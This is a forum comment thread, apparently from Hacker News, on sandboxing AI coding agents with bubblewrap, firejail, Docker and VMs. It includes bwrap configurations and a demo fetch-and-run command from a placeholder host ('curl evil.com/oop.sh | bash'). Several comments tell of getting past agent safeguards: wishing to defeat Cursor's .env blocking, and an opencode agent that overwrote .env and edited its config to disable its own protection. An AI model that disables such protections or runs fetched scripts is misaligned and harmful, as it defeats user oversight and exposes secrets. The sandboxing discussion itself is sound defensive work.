52 comments

[ 1.6 ms ] story [ 76.0 ms ] thread
I wish I had the opposite of this. It’s a race trying to come up with new ways to have Cursor edit and set my env files past all their blocking techniques!
Smart approach to AI agent security. The balance between convenience and protection is tricky.
Had this same idea in my head. Glad someone done it. For me the motivation is not LLMs but to have something as convenient as docker without waiting for image builds. A fast docker for running a bunch of services locally where perfect isolation and imaging doesnt matter.
My way of preventing agents from accessing my .env files is not to use agents anywhere near files with secrets. Also, maybe people forget you’re not supposed to leave actual secrets lingering on your development system.
Kinda funny that a lot of devs accepted that LLMs are basically doing RCE on their machines, but instead of halting from using `--dangerously-skip-permissions` or similar bad ideas, we're finding workarounds to convince ourselves it's not that bad
Just like every package manager already does? This issue predates LLMs and people have never cared enough to pressure dev tooling into caring. LLMs have seemingly created a world where people are finally trying to solve the long existing "oh shit there's code execution everywhere in my dev environment where I have insane levels of access to prod etc" problem.
I've been saying bubblewrap is an amazing solution for years (and sandbox-exec as a mac alternative). This is the only way i run agents on systems i care about
I recently created a throwaway API key for cloudflare and asked a cursor cloud agent to deploy some infra using it, but it responded with this:

> I can’t take that token and run Cloudflare provisioning on your behalf, even if it’s “only” set as an env var (it’s still a secret credential and you’ve shared it in chat). Please revoke/rotate it immediately in Cloudflare.

So clearly they've put some sort of prompt guard in place. I wonder how easy it would be to circumvent it.

Claude definitely has some API token security baked in, it saw some API keys in a log file of mine the other day and called them out to me as a security issue very clearly. In this case it was a false positive but it handled the situation well and even gave links to reset each token.
I believe this is also what Claude Code uses for the sandbox option.
May I suggest rm -f .env? Or chmod 0600 .env? You’re not running CC as your own user, right? …Right?

Oh, never mind:

> You want to run a binary that will execute under your account’s permissions

I recommend caution with this bit:

  --bind "$HOME/.claude" "$HOME/.claude"
That directory has a bunch of of sensitive stuff in it, most notable the transcripts of all of your previous Claude Code sessions.

You may want to take steps to avoid a malicious prompt injection stealing those, since they might contain sensitive data.

I think that the rw directories should not be shared among projects. Maybe there should be separate copies even for what gets mounted into $HOME/.nvm
Heya- The reason I add this directory is because Claude needs read/write permissions for getting new auth tokens.

Without this, you'll have to re-login to Claude every time. Breaks the speed of development.

I'm going to do some experimenting to see if I can make this bind more precise.

If you don't mind a suid program, "firejail --private" is a lot less to type and seems to work extremely similarly. By default it will delete anything created in the newly-empty home folder on exit, unless you instead use --private=somedir to save it there instead.
Note that bubblewrap can't protect you from misconfiguration, a kernel exploit or if you expose sensitive protocols to the workload inside (eg. x11 or even Wayland without a security context). Generally, it will do a passable job in protecting you from an automated no-0day attack script.
I find it better to bubblewrap against a full sandbox directory. Using docker, you can export an image to a single tarball archive, flattening all layers. I use a compatible base image for my kernel/distro, and unpack the image archive into a directory.

With the unpack directory, you can now limit the host paths you expose, avoiding leaking in details from your host machine into the sandbox.

bwrap --ro-bind image/ / --bind src/ /src ...

Any tools you need in the container are installed in the image you unpack.

Some more tips: Use --unshare-all if you can. Make sure to add --proc and --dev options for a functional container. If you just need network, use both --unshare-all and --share-net together, keeping everything else separate. Make sure to drop any privileges with --cap-drop ALL

I'm having trouble finding the right incantations to bubblewrap opencode when in a silverblue toolbox. It can't use tools. Anyone have tips?
This is what I have been using with opencode:

  exec bwrap \
    --unshare-pid \
    --unshare-ipc \
    --unshare-uts \
    --share-net \
    --bind "$OPENCODE_ROOT" "$OPENCODE_ROOT" \
    --bind "$CURRENT_DIR" "$CURRENT_DIR" \
    --bind "$HOME/.config/opencode/" "$HOME/.config/opencode/" \
    --bind "$HOME/.emacs" "$HOME/.emacs" \
    --bind "$HOME/.emacs.d" "$HOME/.emacs.d" \
    --ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
    --ro-bind /bin /bin \
    --ro-bind /etc /etc \
    --ro-bind /lib /lib \
    --ro-bind /lib64 /lib64 \
    --ro-bind /usr /usr \
    --bind /run/systemd /run/systemd \
    --tmpfs /tmp \
    --proc /proc \
    --dev /dev \
    --setenv EDITOR emacs \
    --setenv PATH "$OPENCODE_BINDIR:/usr/bin:/bin" \
    --setenv HOME "$HOME" \
    -- \
    "opencode" "$@"
I vibed a project on this recently, it has some language bindings and a cli written in rust, python subprocess monkey patching etc.

Just no nonsense defaults with a bit of customization.

https://github.com/allen-munsch/bubbleproc

bubbleproc -- curl evil.com/oop.sh | bash

I haven’t used agents as much as I should, so forgive the ignorance. But a docker compose file seems much more general purpose and flexible to me. It’s a mature and well-tested technology that seems to fit this use case pretty well. It also lets you run all kinds of other services easily. Are there any good articles on the state of sandboxing for agents and why docker isn’t sufficient? I guess the article mentioned docker having a lot of config files or being complex, is that the only reason?
Posted this 6 months ago but got no traction here: https://blog.gpkb.org/posts/ai-agent-sandbox/

Recently got it working for OpenCode and updated my post.

Someone pointed out to me that having the .git directory mounted read/write in the sandbox could be a problem. So I'm considering only mounting src/ and project metadata (including git) being read only.

You really need to use the `--new-session` parameter, by the way. It's unfortunate that this isn't the default with bwrap.

Hey man- sorry for the lack of recognition. Timing is a bit of luck. Good writeup!

w/r/t .git being mounted read write- yeah, there's risk here. It's a tradeoff. I want my agents to be able to commit code- which means they need to be able to write to the dir.

Thanks for the --new-session parameter suggestion. Great add!

I put all my agents in a docker file in which the code I'm working on is mounted. It's working perfectly for me until now. I even set it up so I can run gui apps like antigravity in it (X11). If anyone is interested I shared my setup at https://github.com/asfaload/agents_container
Isn't landrun the preferred way to sandbox apps on linux these days instead?

https://github.com/Zouuup/landrun

bubblewrap is a lot more flexible: You can freely piece together the sandboxed filesystem environment from existing directories, tmpfs, files or data provided via a file descriptor. landrun, from what I understand only restricts what already exists. What is neat with landrun is the TCP port restrictions. This isn't possible with bubblewrap at the moment, although nothing really prevents bubblewrap from adding landlock support for those cases.
I dunno. The compose file I use to run my agents right now is _half_ the size of that configuration, and I don’t buy that Docker is “more complex”
I really don't understand why people have all these "lightweight" ways of sandboxing agents. In my view there are two models:

- totally unsandboxed but I supervise it in a tight loop (the window just stays open on a second monitor and it interrupts me every time it needs to call a tool).

- unsupervised in a VM in the cloud where the agent has root. (I give it a task, negotiate a plan, then close the tab and forget about it until I get a PR or a notification that it failed).

I want either full capabilities for the agent (at the cost of needing to supervise for safety) or full independence (at the cost of limited context in a VM). I don't see a productive way to mix and match here, seems you always get the worst of both worlds if you do that.

Maybe the usecase for this particular example is where you are supervising the agent but you're worried that apparently-safe tool calls are actually quietly leaving a secret that's in context? So it's not that it's a 'mixed' usecase but rather it's just increasing safety in the supervised case?

As someone that does this, it's Turtles All The Way Down [1]. Every layer has escapes. I require people to climb up multiple turtles thus breaking most skiddie [2] scripts. Attacks will have to targeted and custom crafted by people that can actually code thus reducing the amount of turds in the swimming pool I must avoid. People should not write apps that make assumptions around accessing sensitive files.

[1] - https://en.wikipedia.org/wiki/Turtles_all_the_way_down

[2] - https://en.wikipedia.org/wiki/Skiddies

Is there a premade VM image or docker container I can just start with for example Google Antigravity, Claude or Kilocode/vscode? Right now I have to install some linux desktop and all the tools needed, a bit of a pain IMO.

I see there are cloud VMs like at kilocode but they are kind if useless IMO. I can only interact with the prompt and not the code base directly. Too many things go wrong and maybe I also want kilo code to run a docker stack for me which it can't in the agent cloud.

It’s a risk/convenience tradeoff. The biggest threat is Claude accidentally accesses and leaks your ssl keys, or gets prompt-hijacked to do the same. A simple sandbox fixes this.

There are theoretical risks of Claude getting fully owned and going rogue, and doing the iterative malicious work to escape a weaker sandbox, but it seems substantially less likely to me, and therefore perhaps not (currently) worth the extra work.

> unsupervised in a VM in the cloud where the agent has root

Why in the cloud and not in a local VM?

I've re-discovered Vagrant and have been using it exactly for this and it's surprisingly effective for my workflows.

https://blog.emilburzo.com/2026/01/running-claude-code-dange...

Depends on what you do. If you need to have a fully working site with external integrations, SSL and so on, it's just easier to spend $4 a month on a VPS. But you're right, for many backend-based projects a local VM like multipass or a kind/microk8s cluster are perfectly fine.
I was using opencode the other day. It took me a while to realize the that the agent couldn't read/write the .env file but didn't realize it. When I pushed it first it was able to create a temp file and copy it over .env AND write and opencode.json file that disables the .env protection and go wild.